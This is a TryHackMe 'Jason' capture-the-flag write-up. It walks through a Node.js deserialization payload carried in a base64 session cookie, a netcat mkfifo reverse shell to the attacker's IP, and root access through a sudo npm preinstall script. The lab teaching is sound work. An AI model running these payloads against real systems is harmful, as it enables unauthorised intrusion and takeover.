Post

TryHackMe - Jason


Description

Hello hackers, I hope you are doing well. We are doing Jason from TryHackMe. We find a node.js web site vulnerable to deserialization allowing remote code execution that leads to foothold. On the target box we can run npm as root so we exploit that to get a root shell.

Enumeration

nmap

We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Nmap scan report for 10.10.239.172                                                                                                                            
Host is up (0.094s latency).                                                                                                                                  
Not shown: 998 closed tcp ports (reset)                                                                                                                       
PORT   STATE SERVICE VERSION                                                                                                                                  
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)                                                                             
| ssh-hostkey:                                                                                                                                                
|   3072 5b2d9d60a745de7a99203e4294ce193c (RSA)                                                                                                               
|   256 bf32780183af785ee7fe9c834a7daa6b (ECDSA)                                                                                                              
|_  256 12ab1380e5ad7307c848d5ca7c7de0af (ED25519)                                                                                                            
80/tcp open  http                                                                                                                                             
|_http-title: Horror LLC                                                                                                                                      
| fingerprint-strings:                                                                                                                                        
|   GetRequest:                                                                                                                                               
|     HTTP/1.1 200 OK                                                                                                                                         
|     Content-Type: text/html
|     Date: Mon, 29 May 2023 08:19:00 GMT

We found two open ports, 22 running OPENSSH and 80 is an http web server.

Web

Let’s navigate to the web page.

The website is not completed yet, and we can sign up for a newsletter. Let’s submit an email and intercept the request with burp.

After submitting the email, we get a session cookie which is a base64 of {"email":"hi@hi.me"}

Now if we go to the website we can see our email

Foothold

With the help of this article, let’s test if the website is vulnerable to deserialization.

We use the following payload that will return the word HACKED if there is a vulnerability.

1
_$$ND_FUNC$$_function (){ return 'HACKED'; }()

Let’s put it in the email field.

1
{"email":"_$$ND_FUNC$$_function (){ return 'HACKED'; }()"}

And encode it with base64.

1
eyJlbWFpbCI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXsgcmV0dXJuICdIQUNLRUQnOyB9KCkifQ==

Now we replace the old cookie with the one we just created and send a request.

We got the word HACKED back, this means the website is vulnerable.

Now let’s use another payload that give us remote code execution.

1
_$$ND_FUNC$$_function(){require('child_process').exec('CMD', function(error,stdout, stderr) { console.log(stdout) });}()

We need to replace CMD with the command we want to execute, and in this case we can try getting a reverse shell using nc mkfifo

1
_$$ND_FUNC$$_function(){require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.9.76.240 9000 >/tmp/f', function(error,stdout, stderr) { console.log(stdout) });}()

Let’s put the code above in the email field and encode it with base64 then send the request after setting up a netcat listener.

We got a shell as dylan.

Privilege Escalation

Shell upgrade

On dylan’s home directory i created a .ssh directory and uploaded my public key to it.

Now used my private key to ssh as dylan.

dylan –> root

Now let’s check our privilege

1
2
3
4
5
6
dylan@jason:~$ sudo -l
Matching Defaults entries for dylan on jason:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dylan may run the following commands on jason:
    (ALL) NOPASSWD: /usr/bin/npm *

We can run npm as root, checking GTFOBins we find a way to exploit that and get root.

1
2
3
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i

The TF=$(mktemp -d) makes a temporary directory.

In {"scripts": {"preinstall": "/bin/sh"}}, the scripts object is used to define custom commands, and the preinstall is a key used to define a command that will be run before any packages, and in our case it’s /bin/sh that gives us a root shell.

We put the script in package.json file that will be located in the temporary directory.

the -C option specifies the working directory. The --unsafe-perm is to run the scripts with root privileges and the i is for install

We got root!


Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).


This post is licensed under CC BY 4.0 by the author.